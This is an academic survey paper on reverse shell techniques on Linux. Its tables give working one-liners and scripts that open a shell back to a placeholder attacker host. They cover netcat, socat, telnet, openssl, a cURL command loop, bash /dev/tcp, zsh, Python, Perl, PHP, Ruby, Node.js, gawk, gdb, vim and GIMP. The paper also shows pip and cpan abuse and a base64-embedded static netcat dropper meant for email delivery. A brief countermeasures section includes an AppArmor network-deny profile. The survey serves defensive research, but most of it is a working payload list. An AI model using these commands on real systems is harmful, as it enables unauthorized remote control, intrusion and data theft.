Overview of reverse shell techniques

Matúš Bucher[1], Dušan Bernát[1,*]

[1]Faculty of Mathematics, Physics and Informatics, Comenius University, Mlynská dolina, Bratislava, Slovakia

Abstract

Reverse shells are a common technique used by attackers to gain unauthorized remote access to systems. This article provides a comprehensive analysis of reverse shell methods, focusing on those that utilize tools typically found in standard Linux-based system installations. We list a broad set of techniques involving network utilities, shell interpreters, programming language runtimes, and other system tools. Each method was implemented and tested in a controlled environment to assess its effectiveness. Beyond the enumeration of these techniques, we also explore possible countermeasures and best practices for protection against reverse shell attacks.

Keywords

reverse shell, system utilities, network connection, countermeasures

1. Introduction

A *reverse shell* is a technique commonly used to gain unauthorized remote access to a target system. It represents one of the two fundamental approaches to establishing a remote command shell, the other being a *bind shell*. While both serve similar purposes – enabling control over a compromised system – their operational mechanics differ significantly.

In a bind shell scenario, the victim's machine opens a port and waits for incoming connections from the attacker (acting as a server). This requires the victim's system to be accessible over the network and typically demands the attacker to bypass firewalls or security controls that block unsolicited inbound connections.

A reverse shell literally inverts this model. The victim's machine initiates an outbound connection to the attacker's machine, which now acts as a listener. This method is more stealthy and more successful in real-world scenarios, as outbound connections are less likely to be blocked by default firewall rules or NAT configurations. Once a reverse shell is established, the attacker can run commands to exfiltrate data or deploy additional tools for persistence etc.

Attackers typically create reverse shells by exploiting vulnerabilities such as command injection, buffer overflows, or insecure deserialization. Alternatively, they may trick users into executing malicious payloads through phishing or malware applications [1]. We will assume that an attacker already has the means of reverse shell initiation and we are not going to discuss this in detail.

What makes a reverse shell particularly troublesome is its flexibility and ease of implementation. Many reverse shell techniques rely solely on tools and utilities that are already present on most operating systems. These methods of using legitimate tools available on the target's system are called "living-off-the-land", see more in section 1.2. Examples include network utilities like Netcat and Telnet, shell interpreters like Bash and PowerShell, general-purpose programming languages with socket support, and also tools not designed essentially for network connection like Awk. Many of the tools on the list are commonly available in standard operating system installations, most preinstalled by default. As a result, attackers can craft a working reverse shell even in heavily restricted environments, without the need to upload external binaries.

While present article primarily focuses on a thorough analysis and enumeration of reverse shell techniques, we will also briefly discuss the best practices for prevention, detection, and response to reverse shell incidents and the risks arising from the analysis's results at the end of the paper.

ITAT'25: Information Technologies – Applications and Theory, September 26–30, 2025, Telgárt, Slovakia

*Corresponding author.

bucher5@uniba.sk (M. Bucher); dusan.bernat@fmph.uniba.sk (D. Bernát)

2. Testing environment

In our experiments, the victim machine was simulated with a `chroot` environment. The `chroot` mechanism allows running a command or interactive shell with some specified directory as the effective root directory [5]. Therefore, the system simulated within the `chroot` environment has only access to files in the new 'root directory', which is convenient for determining minimum requirements for each method. If the method does not work, the environment lacks a dependent library, system tool, device, etc. The exact file, which is missing in the `chroot` directory, is either mentioned in the error message, or we could trace the actual system call for attempting to open the file (either `open()` or `openat()`) with the `strace` utility.

Implicit dependencies for each command are shared objects (dynamic libraries) required by the binaries of the tools used in the command. These are not listed in the dependency list and are expected to be present in the system. To print these shared object files, use the `ldd` command [6].

The host system distribution (on which the `chroot` environment was running) was Ubuntu 24.04 LTS with a Linux 5.15 kernel and 64-bit x86 architecture. However, the commands and tools should work on most GNU/Linux-based systems.

The results presented in the following section depend on the specific version of tested tools. When dealing with different versions, the syntax of example commands should not pose a problem. However, the dependencies we detected for each tool could be different, especially the module files of programming languages. We described each dependency in the most general way, but it is actually guaranteed only for the tested version. However, we may suppose that in most cases different versions will work as well or it can be adjusted.

The specifications for the attacker machine do not matter since the only requirement is an open port for catching the reverse shell connection, although some methods require a more complex listening setup. The attacker must have an open port ready to catch the reverse shell. In most cases, a simple NetCat listener should be sufficient to catch the reverse shell. For example an attacker can run on its `${HOST}` the following command

```
attacker@HOST%  nc -l ${PORT}
```

where the `${PORT}` is the port number on which the attacker is listening for incoming shell connections from a victim machine.

3. Reverse shell techniques

In this section we describe particular reverse shell techniques. Each method is characterized by a system tool, software, or a programming language with its interpreter or compiler. An actual command line example of how to use the tool for the reverse shell is given.

Throughout the text we use `${HOST}` and `${PORT}` to denote the attackers host name or IP address and port number respectively, as described above. Some methods also need an additional named pipe. Its file path is designated as `${FIFO}`.

Similarly, `sh` in the examples stand for the name of the shell which will be spawned and made available to the attacker. This can be, for example `bash`, or some other shell command. Sometimes a full path of the shell may be required.

3.1. Network tools

Using the *NetCat* [7] utility to initiate a reverse shell is straightforward. Moreover, if it supports the `-e` switch, which allows to specify an external program which will be executed with its input and output redirected via the connection, then this tool by itself basically works like the reverse shell (*Table 1 – 1*). For security reasons this option was removed from some versions of the tool. In this case the shell execution and redirection can be done by the means of an extra named pipe, which can be created in the filesystem in usual way, for example using `mkfifo` command (*Table 1 – 2*).

Table 1
Network tools.

Nr.	Description	Command
1.	NetCat, -e option	`nc -e sh ${HOST} ${PORT}`
2.	NetCat, named pipe	`sh < ${FIFO} 2>&1 | nc ${HOST} ${PORT} > ${FIFO}`
3.	Telnet, unnamed pipe	`telnet ${HOST} ${PORT} 2>&1 | telnet ${HOST} ${PORT2}`
4.	Telnet, named pipe	`sh < ${FIFO} 2>&1 | telnet ${HOST} ${PORT} > ${FIFO}`
5.	socat	`socat tcp:${HOST}:${PORT} exec:sh,stderr`
6.	socket	`socket -p sh ${HOST} ${PORT}`

Telnet is a client-server network protocol that establishes bidirectional interactive unencrypted text-based communication using the TCP protocol. It is now considered a legacy tool not recommended for secure communication. Redirection of shell with unidirectional unnamed pipes can be achieved with two `telnet` sessions (*Table 1 – 3*). One is for receiving commands that the chosen shell will execute, and then their output will be sent through the second telnet connected to a different port `${PORT2}` (it can also be connected to a different host). The attacker needs to set up two distinct listeners accordingly. However, we can use a named pipe `${FIFO}` (like with NetCat) to create a reverse shell with a single telnet instance (*Table 1 – 4*).

Socat (short for SOcket CAT) [8] is a versatile networking tool that acts as a bidirectional data relay between two data streams, such as TCP connections, UNIX sockets, or files. It is a more complex variant of NetCat with more flexibility and a vast number of options. We can add `stderr` option to the `exec` address type, so it also redirects the standard error output. Thus, running a reverse shell with Socat is really simple (*Table 1 – 5*).

Socket is a relatively old, lesser-known network utility for creating and interacting with sockets directly from the command line. It does not usually come preinstalled (like NetCat) on most modern distributions. It has a `-p` (i.e. program) option, which runs the given command for each established connection (*Table 1 – 6*), and its standard input, standard output, and standard error files are automatically redirected to the socket [9].

3.2. The OpenSSL toolkit

OpenSSL is a widely used toolkit that implements the SSL and TLS network protocols and related cryptography standards. It provides many commands with a variety of options and arguments, particularly for network connections between SSL/TLS clients and servers. For the reverse shell, we will run the client on the victim's side (*Table 2 – 7*). Since the client 'speaks' only in SSL/TLS, we need to establish a server on the attacker's side that also speaks in SSL/TLS. A simple NetCat listener will not be adequate, so we also use the `openssl` command to create a server on the attacker's side. It can be done using the following commands:

```
openssl req -x509 -newkey rsa:4096 -keyout key.pem \
        -out cert.pem -noenc
openssl s_server -quiet -key key.pem -cert cert.pem -port ${PORT}
```

The second command (`openssl s_server`) runs `openssl` in server mode for listening on a specified port. The certificate and key are loaded from the `.pem` files created with the first command, and the `-quiet` option will suppress the printing of session and certificate information [10].

3.3. The cURL utility

The *cURL* (client for URL) is a versatile tool for transferring data to or from a server using various protocols, most commonly HTTP and HTTPS. In this reverse shell scenario, we will use `curl` command

Table 2
Other network protocols.

Nr.	Description	Command

7.	openssl	`sh < ${FIFO} 2>&1 | \`
		`   openssl s_client -quiet ${HOST}:${PORT} > ${FIFO}`

8.	cURL	`while true; do`
		`    cmd=$(curl -s http://{$HOST}:${PORT});`
		`    res=$(sh -c "$cmd" 2>&1);`
		`    curl -X POST -d "$res" http://${HOST}:${PORT};`
		`done`

to periodically make HTTP requests to an attacker's server to fetch commands via the GET method and send back their output via the POST method.

We will need a special listener on the attacker's side, this time an HTTP server that will handle the request. We used a simple Python script for this purpose.

Option `-X` (or `--request`) specifies the request method, and option `-d` (or `--data`) sends the specified data in a POST request [11].

This method (*Table 2 – 8*) uses a polling-based approach, which does not require a persistent TCP connection, unlike previous methods. Apart from appearing as common web traffic (and therefore harder to detect), the loop can persist even when the attacker becomes offline, so no additional actions on the victim's machine are required if the attacker wants to obtain the reverse shell again later.

3.4. Command-line interpreters

Since some shells have built-in support for simple TCP and UDP network communication, they can be used to connect to the attacker without using other system tools. This section lists all standard and popular shells capable of creating a reverse shell alone.

However, there are also shells that lack this capability [12]. For example the original Bourne shell `sh`, Almquist shell `ash` and Debian Almquist shell `dash`, Korn shell variants not based on `ksh93`, namely `ksh88`, `pdksh`, `mksh`, `oksh`; then C shell `csh` and `tcsh`, Friendly interactive shell `fish`, `rc` shell, Stand-alone shell `sash` and, finally, the Windows default legacy command line interpreter `cmd`. Without additional programs that facilitate network communication, these shells do not inherently pose a risk of spawning a reverse shell.

The default and most commonly used shell on most Linux distributions is the *Bash* shell. It also offers extensive scripting capabilities and, importantly for this context, supports TCP and UDP communication through special file names located in the `/dev/tcp/` and `/dev/udp/` pseudo paths (*Table 3 – 9*).

Korn shell was originally a proprietary software, which led to the creation of several free and open-source alternatives, including Bash. There are actually many versions and clones of Korn shell, while the original is `ksh88`. The version that added support for network communication is the newer `ksh93` version. This support is realized through the same `/dev/tcp/` and `/dev/udp/` pseudo files as with Bash. Creation of reverse shell is thus done in the exactly same manner as in the case of bash (*Table 3 – 10*).

Z shell is the default login shell on macOS and Kali Linux. Unlike Bash or Korn shell, Z shell does not support the `/dev/tcp/` or `/dev/udp/`. Instead, additional features of the Z shell, including networking, are in modules, separate from the shell's core. Each module may be linked into the shell at build time or dynamically linked while the shell is running [13].

The module `zsh/net/tcp`, which provides manipulation of TCP sockets, can be loaded with the `zmodload` keyword. With the module loaded, we can run the `ztcp` command, which opens a new TCP connection to the specified host and port. The argument of option `-d` will be taken as the target file descriptor for the connection [14]. We can then redirect the standard input and output of the new shell session to this file descriptor (*Table 3 – 11*).

Table 3
Shell command interpreter.

Nr.	Description	Command
9.	bash	`bash -c 'sh &> /dev/tcp/${HOST}/${PORT} 0>&1'`
10.	ksh	`ksh -c 'sh &> /dev/tcp/${HOST}/${PORT} 0>&1'`
11.	zsh	`zsh -c 'zmodload zsh/net/tcp; ztcp -d 3 ${HOST} ${PORT}; \ sh 0<&3 1>&3 2>&3'`

3.5. PowerShell

PowerShell comes preinstalled on modern Windows systems but an open-source, cross-platform version – `pwsh` – is available for Linux and macOS. The described method is compatible with all platforms.

Reverse shell via PowerShell is more complicated compared to previous shells. To work with network connections, it requires using `.NET` classes and managing multiple objects such as sockets, streams, and others. Hence, a PowerShell script, given by `-f` (or `-File`) switch, rather than a simple command with redirections is needed. It can still be made into a one-liner using the `-c` (or `-Command`) option and separating lines from the script with a semicolon.

We have succesfully examined an approach when first a TCP socket was connected to the attacker's host by constructing the object of class `Net.Sockets.TCPClient` with proper `$HOST` and `$PORT` arguments. Then commands (designated by `$cmd`) are read from the associated stream in the loop and executed by `Invoke-Expression $cmd 2>&1` statement. For the sake of brevity, we do not provide full script here.

3.6. The Tcl shell

Tcl (Tool Command Language) is a lightweight scripting language. It comes with an interactive shell called `tclsh` [15]. The shell provides access to Tcl's core language features, including I/O, string processing, and networking.

Creating a reverse shell in Tcl is relatively straightforward compared to PowerShell, thanks to its built-in `socket` command and dynamic evaluation capabilities. However, since Tcl lacks built-in redirection operators like POSIX shells, error handling and stream management must be implemented manually within the script logic. First a TCP socket can be constructed and connected with `set sock [socket $HOST $PORT]` statement. Then the command (denoted `$cmd`) is read from it and executed by `eval "exec $cmd 2>@1"`. For the sake of brevity, we do not provide full script here.

3.7. Programming language interpreters

Every proper programming language should be capable of opening a TCP socket for network communication (perhaps with some standard module), running a command from the operating system, redirecting standard file descriptors to the socket - and, therefore, creating a reverse shell. The interesting part is which dynamic libraries and modules are requisite for each method. Many of the interpreters are installed on common system distributions by default.

Most of the examples we examined in this section are written as script files, so the attacker needs to place the script to victim's machine and then run the interpreter with the script filename as an argument. Not all the scripts are presented here in full length. But as in the case of shell interpreters, the script can easily be turned into a one-liner with specific options (usually `-e`) or using a pipe redirection, so the attack can be executed in a single step.

Python reverse shell is relatively short and straightforward (*Table 4 – 12*). The script can be turned into a one-liner using Python's `-c` option and separating lines with semicolons [16]. The for loop, however, must be compressed to a list comprehension as `[os.dup2(sock.fileno(),fd) for fd in (0,1,2)]` or expanded into three separate lines (one for each file descriptor). This compressed

Table 4
Python reverse shell script.

Nr.	Description	Command

12.	python script	`import socket, os`
		`sock = socket.socket()`
		`sock.connect(("${HOST}", ${PORT}))`
		`for fd in (0, 1, 2):`
		`    os.dup2(sock.fileno(), fd)`
		`os.execvp("sh", ["sh"])`

13.	pip	`mkdir -p ${TMP}`
		`echo '_compressed-script_' > ${TMP}/setup.py`
		`pip install --break-system-packages ${TMP}`
		`rm -r ${TMP}`

Table 5
Perl reverse shell script.

Nr.	Description	Command

14.	perl script	`use Socket;`
		`socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));`
		`connect(S, sockaddr_in(${PORT}, inet_aton("${HOST}")))`
		`open(STDIN, ">&S"); open(STDOUT, ">&S"); open(STDERR, ">&S");`
		`exec("sh");`

15.	cpan	`echo '! _compressed-script_' | cpan`

version of the script, which will be referenced as `_compressed-script_` throughout the paper, can be passed to the interpreter via command line arguments `python -c '_compressed-script_'`.

Pip is the default package manager for Python, used to install and manage third-party libraries from the Python Package Index (PyPI). Most distributions of Python come with the `pip` tool preinstalled. While primarily intended for managing dependencies in software projects, Pip can be misused to execute arbitrary Python code during package installation via a specially crafted `setup.py` script. This file should contain the package's metadata and installation instructions, and Pip automatically searches for it and executes it to build and install the package [17].

We need to use the `--break-system-packages` option in case of the externally managed environment [17]. That is when the Python installation is marked as "externally managed" by the OS package manager (like `apt`) and the `pip` tool is about to install packages "system-wide", which could overwrite system-managed Python packages (and thus break some functionality that depends on those packages). We are not overwriting any system packages in our case, but it is an additional security permission that the `pip` tool requires (*Table 4 – 13*).

Perl remains a staple in many legacy systems, although it is less commonly used today than Python or other scripting languages. Principle remains the same. We used a TCP socket, file descriptor redirection and `exec` to spawn a shell (*Table 5 – 14*). When squeezed to a one line, the script can be executed from the command line using `perl -e '_compressed-script_'`.

CPAN (Comprehensive Perl Archive Network) is a large repository of Perl modules and libraries. It is typically accessed using the `cpan` command-line tool, which allows users to search for, install, and manage Perl modules directly from the terminal. When run without arguments, the tool starts an interactive CPAN session, where the exclamation mark (`!`) executes arbitrary commands. While this feature is intended to allow running shell commands (such as `! ls`), it can also interpret and execute valid Perl code (*Table 5 – 15*) [18].

PHP is a widely used server-side scripting language. It is primarily designed for web development but capable of general-purpose scripting. It has built-in networking and process control functions, allowing

Table 6
PHP reverse shell script.

Nr.	Description	Command

16.	php script	`<?php`
		`$sock = fsockopen("${HOST}", ${PORT});`
		`proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);`
		`?>`

Table 7
Lua reverse shell script.

Nr.	Description	Command

17.	lua script	`socket = require("socket")`
		`socket.tcp():connect("${HOST}", ${PORT})`
		`os.execute("sh <&3 >&3 2>&3")`

quick and effective reverse shell implementations. That makes PHP reverse shell especially useful in web-based attack scenarios like file upload or remote code execution vulnerabilities. Our minimal example of a PHP reverse shell consists of only two function calls (*Table 6 – 16*). Since these functions are part of PHP's core, loading additional modules is not required. The PHP interpreter appeared to depend on UTC file (usually located in `/usr/share/zoneinfo/`) and it also uses `sh` shell to execute commands. The option `-r` (or `--run`) of the PHP command line tool can be used to run the code as one command [19]. However, we must omit the PHP opening and closing tags (`<?php` and `?>`) in the compressed script. Additionally, the `proc_open()` call can be substituted with other functions that accept only the command argument without the descriptor specification.

Lua is a lightweight, embeddable scripting language designed primarily for integration into other applications. It is widely used in game development, embedded systems, and configuration scripting. The LuaRocks package manager (`luarocks`) allows users to extend the language's minimal core by installing additional packages. We need the socket library for a reverse shell from the luasocket package (*Table 7 – 17*). It can be installed with `luarocks install luasocket`.

Ruby is a dynamic, object-oriented programming language known for its clean syntax and focus on developer productivity. It is widely used in web development (notably with Ruby on Rails, a server-side web application framework) but functions well as a general-purpose scripting language.

The simplicity of the Ruby language makes the reverse shell script again pretty straight-forward. We present two fundamentally different versions – the first redirects standard file descriptors and replaces the process with the given shell (*Table 8 – 18*); the second reads commands from the socket, executes them with the sh shell, and sends the output back to the socket in a loop (*Table 8 – 19*). The `ruby` tool supports option `-e`, which can turn the scripts into one-line commands [20].

Ruby also comes with an interactive shell called IRB (Interactive Ruby), which allows users to execute Ruby code line by line directly from the terminal. Similarly to the `cpan` tool, we can pass the compressed script (either version) to the `irb` through a pipe (*Table 8 – 20*).

JavaScript is one of the most popular scripting languages. It is traditionally associated with web browsers as a client-side scripting language, but it can also be executed outside of browsers using various runtime environments. At the core of these environments are JavaScript engines — programs that parse and execute JavaScript code [21]. Our analysis focused on two JavaScript runtime environments: Node.js and Nashorn.

Node.js is a popular standalone server-side runtime built on the V8 engine and can be invoked with the `node` command [22]. It has built-in modules, such as `net` and `child_process` for networking and process management. The implementation (*Table 9 – 21*) is, therefore, relatively simple (at least more simple than with the Nashorn).

Table 8
Ruby reverse shell script.

Nr.	Description	Command

18.	ruby
	script
	exec
		`require "socket"`
		`sock = TCPSocket.new("${HOST}", ${PORT})`
		`STDIN.reopen(sock)`
		`STDOUT.reopen(sock)`
		`STDERR.reopen(sock)`
		`exec "sh"`

19.	ruby
	script
	popen
		`require "socket"`
		`sock = TCPSocket.new("${HOST}", ${PORT})`
		`while cmd = sock.gets`
		  `IO.popen(cmd, "r") do |io|`
		    `sock.print io.read`
		  `end`
		`end`

20.	IRB	`echo '_compressed-script_' | irb`

Table 9
JavaScript reverse shell script and Nashorn execution example.

Nr.	Description	Command

21.	Node.js
	script
		`shell = require("child_process").spawn("sh");`
		`require("net").connect(${PORT}, "${HOST}", function () {`
		  `this.pipe(shell.stdin);`
		  `shell.stdout.pipe(this);`
		  `shell.stderr.pipe(this);`
		`});`

22.	Nashorn	`echo '_compressed-script_' | jjs`

Nashorn is a Java-based JavaScript runtime included with Java 8 up to the JDK 14 and is now marked as depreciated [23]. It runs on the Java Virtual Machine (JVM). Nashorn scripts can be executed using the `jjs` command line tool (*Table 9 – 22*) [24].

Nashorn relies on Java classes like `java.net.Socket` and `ProcessBuilder`. For the sake of brevity, we do not provide full script here.

Julia is a high-level, high-performance programming language designed primarily for numerical and scientific computing [25]. Julia typically runs like a scripting language through its interactive runtime, but it also supports packaging code into standalone binaries [26]. Naturally, Julia provides socket programming functionality, making it capable of creating a reverse shell.

Jullia command-line interface comes with the option `-e` (or `--eval`), which can evaluate the compressed reverse shell script when run as `julia -e '_compressed-script_'`. For the sake of brevity, we do not provide full script here.

3.8. Compiled programs

We have mentioned reverse shell methods that utilize one or more software tools within a CLI to establish a connection back to the attacker. Another approach is running an executable from compiled code. We are not going to provide the code, rather we focus on compiler capabilities.

C is a low-level, system-oriented language that provides direct access to memory and system calls. Many tools mentioned in this article are themselves implemented in C. However, the low-level nature of the language means that the code is not as clean as with other high-level languages.

Table 10
Compiling and running reverse shell code.

Nr.	Description	Command
23.	C/C++	`gcc reverse_shell.c -o ${TMP}; ./${TMP}`
24.	Java	`javac ReverseShell.java; java ReverseShell`
25.	golang	`go run reverse_shell.go`

The program creates the socket with usual `socket()` call and prepares structure with proper address comprising attacker's `$HOST` and `$PORT`. Then, after succesfull `connect()`, redirects input and output using `dup2()` and executes shell with `execl()` call. There are other alternatives.

The GCC compiler offers many options [27]. The interesting ones could be, for example: `-static`, produces self-contained binary with statically linked libraries, `-Os` optimise for smaller size, or `-s` which strips symbols from the executable (*Table 10 – 23*).

Java is a high-level, object-oriented programming language designed for portability and cross-platform compatibility. Unlike C/C++, Java code is compiled into bytecode class files rather than native machine code. The bytecode is then executed by the Java Virtual Machine (JVM), which serves as an abstraction layer between the compiled program and the underlying operating system [28] and is typically invoked using the `java` command (*Table 10 – 24*). We used the `javac` compiler from the Java Development Kit (JDK).

Java uses stream objects as an abstraction over file descriptors. We need a pair of streams – input and output – for both the socket and the shell process. The redirection must be handled manually using a while loop since there is no Java API to directly pipe a process's input and output to a socket (The `ProcessBuilder` class does provide `redirectInput` and `redirectOutput` methods, but they only accept files as arguments [29]). The loop continuously checks whether data is available to read from either side and forwards it to the other end. This minimal approach avoids using threads or additional I/O helpers.

To run the Java program environment variable `JAVA_HOME` must be set to Java installation directory (e.g. `/usr/lib/jvm/java-<JDK-version>-openjdk-<architecture>/`) and JVM configuration file `jvm.cfg` (located in `$JAVA_HOME/lib/`), `jspawnhelper` executable and Java module image `modules` must be present.

Golang (or Go) is a modern, statically typed, and compiled programming language developed at Google. Although syntactically similar to C, it has high-level features like memory safety, garbage collection, and CSP-style concurrency [30].

Go compiles code into a machine code binary. There is an official Go compiler, which we also used for testing, but other less-used alternatives exist. Command `go run` (*Table 10 – 25*) compiles the code and also executes it (`go build` command is used solely for compiling the code). Compiler provides options for statically linked output executable (`CGO_ENABLED=0`) or striping the symbols (`-ldflags="-s -w"`).

3.9. The awk utility

AWK is a text-processing and pattern-scanning language commonly used in Unix-like systems for data manipulation tasks. Initially developed to work with textual data stored in files, it was never meant for networking purposes [31].

Its GNU implementation, gawk, extends the standard AWK features with more powerful capabilities, including built-in support for network communication. Specifically, gawk allows the use of special file names in the form of `/net-type/protocol/localport/hostname/remoteport` together with the `|&` coprocess operator for creating TCP/IP network connections [32]. We examined the example in the form of an AWK script (*Table 11 – 26*), but it can be executed directly from the command line. Since the gawk's coprocess feature (the `|&` operator) captures only the standard output of the command,

Table 11
Gawk reverse shell script.

Nr.	Description	Command

26.	gawk	`BEGIN {`
		`  sock = "/inet/tcp/0/${HOST}/${PORT}"`
		`  while (1) {`
		`    if ((sock |& getline c) <= 0) break`
		`    while (c && (c " 2>&1" |& getline res) > 0)`
		`      print res |& sock`
		`    close(c)`
		`  }`
		`}`

Table 12
GDB one-line reverse shell.

Nr.	Description	Command
27.	gdb	`gdb --batch -p ${pid} -ex 'call (int) system("bash -c '\''sh &> /dev/tcp/${HOST}/${PORT} 0>&1'\''")'`
28.	python support	`gdb --batch -ex 'python _compressed-script_'`

while the coprocess's standard error goes to the same place as gawk's standard error [33]. So we need to explicitly redirect it to standard output within the command string itself. This was done by appending `2>&1` to the command `c`.

It is also vital to close the command's streams after execution because each shell command that the attacker runs through the reverse shell is associated with a separate process (or opened file). If you attempt to execute the same command again without closing the previous instance, gawk will reuse the existing process, which could lead to unexpected results [34]. Closing the coprocess also saves system resources.

3.10. GNU Debugger

GNU Debugger (GDB) is a powerful debugging tool primarily designed to analyze and control the execution of programs written in C/C++ and other languages. It allows users to inspect memory, set breakpoints, step through code, and interact with running processes [35].

One of GDB's key capabilities is attaching to a running process, which is specified with its process identifier (PID). Once attached, GDB can invoke functions directly from the process's symbol table. If the target process is linked against the C standard library (`libc`), the user can call the library functions, including system calls, within the GDB session. Thus, we can create a reverse shell with the correct set of functions.

The function like `system()`, `execve()` or `popen()`, can be executed within a GDB session using the `call` command (*Table 12 – 27*) [36]. Moreover, GDB allows passing commands from the command line through the `-ex` option. When used with the `-batch` option, GDB operates in batch mode, running the specified commands and exiting automatically afterwards (*Table 12 – 28*). This enables the creation of a one-liner reverse shell.

A key requirement for this technique is that the target process must include the desired function in its symbol table. However, any process with access to the function - and running under the same user invoking GDB - is equally usable. Moreover, in cases where a reverse shell command cannot be executed due to missing tools, a reverse shell could still be constructed manually. This would involve using system calls to open a socket and receive commands, similar to the approach in C example. However, such a setup would be significantly more complex, requiring manual memory management and precise

Table 13
Reverse shell with Python enabled tools.

Nr.	Description	Command
29.	vim	`vim -c ':py3 _compressed-script_; vim.command(":q!")'`
30.	gimp	`gimp -i --batch-interpreter=python-fu-eval -b '_compressed-script_'`

manipulation of pointers within the process's address space.

Furthermore, GDB can have built-in support for Python scripting. This Python integration is enabled in most modern builds of GDB. With it, users can execute Python code directly from the `gdb` prompt [37] without the need to attach it to a process with suited properties. We trigger the execution of Python script via `python` keyword.

3.11. Python support in various tools

Some system tools offer built-in support for executing Python code, provided they are compiled with the appropriate configuration. When such support is enabled, these tools can execute an arbitrary Python reverse shell code. We have tested these tools with the compressed code from Table 4.

Vim is a text editor that is included by default in nearly all Linux distributions. It offers a wide variety of commands and can also have built-in scripting language interpreters if compiled that way – not only for Python but also Ruby, Perl, Tcl, etc. This support is usually not enabled with default package installations and minimal builds and needs to be built manually – `+python` (or `+python3` for Python3) build options [38]. When compiled with this support, Python code can be executed directly within the editor (*Table 13 – 29*) using the `:pyx` command (or alternatively `:py2`/`:py3`/`:py` command, but `:pyx` choose Python version based on `pyxversion` setting).

The `vim.command(":q!")` serves for quitting Vim after the end of the reverse shell. Also, equivalent usage could be used for `vim` variants – `rvim` (remote-capable variant), `view` (read-only variant), `vimdiff` (launches Vim in diff mode), etc., which are essentially Vim invoked with different options.

GIMP (GNU Image Manipulation Program) is a feature-rich graphics editor commonly found on desktop Linux systems. It has several scripting extensions (*Table 13 – 30*) which allow for advanced non-interactive processing and creation of images [39]. The extension supporting Python 2 is known as Python-fu (or `gimp-python` plugin) and used as the option `--batch-interpreter=python-fu-eval`. However, starting with GIMP 3.0, the legacy Python-fu interface has been replaced with standard Python 3 support, which is not backward-compatible. As a result, most modern builds no longer include support for the `gimp-python` plugin. Newer versions of GIMP also support other scripting languages like Javascript, Lua and also C code [40].

3.12. Encoded static binary

Until now, we focused only on reverse shell techniques that depend on tools available on the target system. These methods assume that the required tool(s) are either already present and functional on the compromised machine or can be supplementary installed by the attacker. They are practical and widely adopted, as they avoid introducing new malware to the system, thereby leaving fewer traces.

Finally, in this section we demonstrate an alternative approach to crafting a malware without using a compiler on the target system. The only requirement is a statically built tool or binary capable of executing a reverse shell. As an example, we use Netcat from the Nmap project, which supports static builds using the flags `LDFLAGS="-static"` and `CFLAGS="-static"`. It must be build for the target OS and architecture. We will refer to it as `./ncat-static`.

The key idea is to encode this binary using Base64, Hex, or any other binary-to-text encoding. The encoded binary can then be embedded into a simple script that, at runtime on the victim's machine,

Table 14
Embedding a reverse shell in a script using a statically linked NetCat binary.

Nr.	Description	Command
31.	encoding	`echo ’cp -p /bin/sh ${TMP}; echo "‘’base64 ./ncat-static’‘" | base64 -di > ${TMP}; ${TMP} -e sh ${HOST} ${PORT}’ > reverse_shell.sh`

decodes the binary, writes it to a file with execute permissions, and runs it to establish the reverse connection (*Table 14 – 31*). Since the embedded binary is statically compiled, it does not require any shared libraries or external dependencies.

The code from Table 14 is executed on attacker’s machine. It generates a script which first copies the shell binary `/bin/sh` to a temporary file path `$TMP` (this is done only to have execute permission on the `$TMP` file). It then decodes the embedded Base64-encoded contents of the statically compiled NetCat binary (`./ncat-static`) into the `$TMP` file. Finally, it runs the decoded Netcat binary (in `$TMP`) with the `-e` option to execute the shell, connecting to the specified host and port. The crafted script is saved as the `reverse_shell.sh`, which needs to be executed by the victim.

The `reverse_shell.sh` prepared on the attacker’s machine is basically a text file which can be transferred and run on victim’s machine in several ways. It can be sent via e-mail and executed when the attachment is opened by a victim. If an attacker already has some kind of shell access to remote machine, though totaly limited, the prepared script can be sent over terminal and executed.

The only requirements (i.e. minimum requirements) for this method to work, apart from executing the script on victim’s side, is capability of creating an executable binary and decode the text representation of the original binary file. In the example of Table 14 the executable file is created by copying any existing executable, in this case `/bin/sh` which is usually present on most systems, but any file with executable permissions would work. The need for `cp` can be ommited if the target provides `chmod` to set executable permissions on file, which can be created by means of redirection.

The use of `base64` can also be avoided, for example by using `od -An -vtx1` to encode the file and `printf` or `echo` with loop support (like `while read`) to decode the binary. Both commands are capable of converting hex number and output its (binary) value which can be iterrated over all encoded values.

4. Reverse shell prevention and countermeasures outlook

The aim of this paper is to survey the wide range of possible mechanisms which can be used to establish a reverse shell. Detailed description of counter measures is out of the scope of this survey and can be subject of further research. However, in this section we give brief outlook of possible protection methods.

4.1. General recommendations

First of all, if an attacker has no access to the system then the risk of reverse shell or other malicious activity is significantly limited or completely avoided. Each system must be properly configured and always updated so in ideal case there are no vulnerabilities. Users should be educated and responsible, so they do not carry out any hazardous activities, whether out of ignorance or initiated by an attacker.

4.2. Limited access to resources

As a general rule, the user or service should have access only to the minimal set of files and other resources necessary for proper function.

Today, namespace isolation and other virtualisation methods allow to prepare environment within a container or a virtual machine, configured for particular service or user. On the other hand, from the previous section can be seen that there is a wide spectrum of tools which can be utilised by an attacker, so removing all of them can clearly conflict with legitimate needs. Thus eliminating unnecessary software tools and packages is good in general to reduce attack surface, but can not completely avoid the risk of reverse shell. Anyway, the list of tools presented above can be used to check for unnecessary programs for particular service or user task.

When particular utility can not be removed because it serves some useful purpose, we can still require to resctrict its access to the network or other resources based on executable name, user etc. Most of the operating systems today provide some kind of DAC (Disctretionary Access Control) at the kernel level. Following listing suggests an example which disallows `perl` and `python` interpreters to access network.

```
#include <tunables/global>
/usr/bin/{perl,python*} {
    #include <abstractions/base>
    # block ipv4 acces
    deny network inet,
    # ipv6
    deny network inet6,
    # raw socket
    deny network raw,
    owner /** rwm,
    /run/systemd/resolve/** rwm,
    /usr/bin/** rmpix,
}
```

4.3. Network and firewall configuration

Even if the shell process has been started, it may still become effectively unusable for the attacker if the network connection to remote host can not be established. Although almost every system has protection against unsolicited inbound connections, the outbound connection is usually not limited.

A recommended approach is to drop all outbound network connectivity and allow only explicitly listed destinations and protocols. However, this can be difficult in many situations, especially if traffic outside the local network is required. Restrictions such as allowing only traffic on standard ports or using only selected protocols are not sufficient since an attacker can easily adapt to these (e.g. reverse shell can use legitimate ports 80, 443 etc.).

Because the reverse shell usually uses plain unencrypted TCP connections, it can be detected when filtering at application layer is deployed. However, the cURL method (see Table 2, row 8) uses valid HTTP or HTTPS protocol, so it can be stealth in traffic.

5. Future work

